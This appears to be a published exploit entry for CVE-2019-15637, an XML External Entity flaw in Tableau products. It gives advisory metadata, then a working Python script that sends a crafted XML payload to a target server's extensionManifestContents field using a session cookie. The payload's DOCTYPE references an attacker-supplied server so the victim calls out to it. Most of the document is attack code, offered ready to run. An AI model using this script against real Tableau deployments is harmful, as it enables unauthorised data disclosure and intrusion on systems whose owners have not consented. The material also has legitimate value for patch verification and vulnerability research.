Tableau – XML External Entity
# Exploit Title: Tableau XXE # Google Dork: N/A # Date: Reported to vendor July 2019, fix released August 2019. # Exploit Author: Jarad Kopf # Vendor Homepage: https://www.tableau.com/ # Software Link: Tableau Desktop downloads: https://www.tableau.com/products/desktop/download # Version/Products: See Tableau Advisory: https://community.tableau.com/community/security-bulletins/blog/2019/08/22/important-adv-2019-030-xxe-vulnerability-in-tableau-products # Tested on: Windows # CVE: CVE-2019-15637 #This comes from https://community.tableau.com/community/security-bulletins/blog/2019/08/22/important-adv-2019-030-xxe-vulnerability-in-tableau-products #Severity: High ====== CVSS3 Score: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L - 7.1 High ====== Product Specific Notes: Malicious workbooks, data sources, and extensions files that are published or used on Tableau Server can trigger this vulnerability #see also https://github.com/minecrater/exploits/blob/master/TableauXXE.py #Unfortunately as I did not have access to the source code a lot of this couldn't really be coded. #Lot of this seems to be user specific (zoneid, dashboard etc). Virtually just taking the vulnerable request and running the exploit. #Very bare bones...wish I could've done more, but maybe someone else with access to the source would want to do that as an exercise. import requests import sys from warnings import filterwarnings # Globals proxy = 'http://127.0.0.1:8080' proxies = {'http':proxy, 'https':proxy} filterwarnings('ignore') def xxe(target, attackerserver, boundary, cookie, zoneid, dashboard): payload = """<?xml version="1.0" encoding="UTF-8" standalone="no"?><!DOCTYPE root PUBLIC "-//A/B/EN" """ payload += "\""+attackerserver+"\"><svg xmlns:svg=\"http://www.w3.org/2000/svg\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" width=\"200\" height=\"200\"><text x=\"0\" y=\"20\" font-size=\"20\">test</text></svg>" headers = {'Content-Type': 'multipart/form-data; boundary='+boundary, 'Cookie': 'workgroup_session_id='+cookie} data = "--"+boundary+"\r\n" data += """Content-Disposition: form-data; name=\"zoneId\""""+"\r\n" data += "\r\n" #below will be different for each user - this is the zoneid of the dashboard you're exploiting this against data += zoneid+ "\r\n" data += "--"+boundary+"\r\n" data += """Content-Disposition: form-data; name=\"dashboard\""""+"\r\n" data += "\r\n" #below will be different for each user - the name of the dashboard we have access to which we're exploiting this against data += dashboard + "\r\n" data += "--"+boundary+"\r\n" data += """Content-Disposition: form-data; name=\"wasCanceled\""""+"\r\n" data += "\r\n" data += "false" data += "\r\n" data += "--"+boundary+"\r\n" data += """Content-Disposition: form-data; name=\"extensionManifestContents\""""+"\r\n" data += "\r\n" data += payload data += "\r\n" data += "--"+boundary+"--" r = requests.post(target, headers=headers, data=data, proxies=proxies, verify=False) def main(): if len(sys.argv) != 7: print "(+) usage: %s <target><attackerserver><boundary><workgroup_session_id_cookie><zoneid><dashboardname>" % sys.argv[0] sys.exit(-1) target = sys.argv[1] attackerserver = sys.argv[2] boundary = sys.argv[3] cookie = sys.argv[4] zoneid = sys.argv[5] dashboard = sys.argv[6] xxe(target,attackerserver,boundary,cookie,zoneid,dashboard) print "making request, make sure to catch the HTTP request!" if __name__ == "__main__": main() |